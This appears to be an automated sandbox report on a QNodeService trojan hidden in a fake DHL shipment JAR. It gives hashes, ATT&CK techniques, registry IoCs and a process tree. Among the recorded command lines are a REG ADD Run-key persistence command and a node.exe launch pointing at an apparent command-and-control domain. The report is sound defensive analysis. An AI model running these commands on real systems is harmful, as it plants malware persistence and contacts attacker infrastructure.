qnodeservice | bffaedde078cf79c57bef9992503d088d21ea51957558a63e510b973c1e6f5fb

General

Target

DHL_109401211_AWB09100903_12012900.jar
Size

70KB
MD5

5b63a9bcee6e5f189d25cf270b579d05
SHA1

b3e0e86aff8fb3b156ebb53fc11153ae6c5d388b
SHA256

bffaedde078cf79c57bef9992503d088d21ea51957558a63e510b973c1e6f5fb
SHA512

c088674ff3c470cfa3ca86ac8bb4c8aa873434a98f2de4a35ec9afa63ce88f2cf0726dd54f9b143cd3b686bceb784e933d35f8636fb800ae946890f7ee96693f

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3736	node.exe
1500	node.exe
1872	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\ef9c4691-b599-4409-9601-da6cc8dc66ae = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad9e-171.dat	js
behavioral2/files/0x000100000001ad9e-175.dat	js
behavioral2/files/0x000100000001ad9e-179.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3736	node.exe
3736	node.exe
3736	node.exe
3736	node.exe
1500	node.exe
1500	node.exe
1500	node.exe
1500	node.exe
1872	node.exe
1872	node.exe
1872	node.exe
1872	node.exe
1872	node.exe
1872	node.exe
1872	node.exe
1872	node.exe
1872	node.exe
1872	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3588 wrote to memory of 2452	3588	java.exe	74
PID 3588 wrote to memory of 2452	3588	java.exe	74
PID 2452 wrote to memory of 3736	2452	javaw.exe	78
PID 2452 wrote to memory of 3736	2452	javaw.exe	78
PID 3736 wrote to memory of 1500	3736	node.exe	80
PID 3736 wrote to memory of 1500	3736	node.exe	80
PID 1500 wrote to memory of 1872	1500	node.exe	81
PID 1500 wrote to memory of 1872	1500	node.exe	81
PID 1872 wrote to memory of 2420	1872	node.exe	83
PID 1872 wrote to memory of 2420	1872	node.exe	83
PID 2420 wrote to memory of 736	2420	cmd.exe	84
PID 2420 wrote to memory of 736	2420	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\DHL_109401211_AWB09100903_12012900.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\c79dc872.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain glotronic.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_4ByXym\boot.js --hub-domain glotronic.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1500
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_4ByXym\boot.js --hub-domain glotronic.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1872
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ef9c4691-b599-4409-9601-da6cc8dc66ae" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2420
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ef9c4691-b599-4409-9601-da6cc8dc66ae" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1500-176-0x00000216134C0000-0x00000216134C1000-memory.dmp

Filesize
4KB

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memory/1872-180-0x000002833E640000-0x000002833E641000-memory.dmp

Filesize
4KB

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memory/3736-173-0x00000268D9FC0000-0x00000268D9FC1000-memory.dmp

Filesize
4KB

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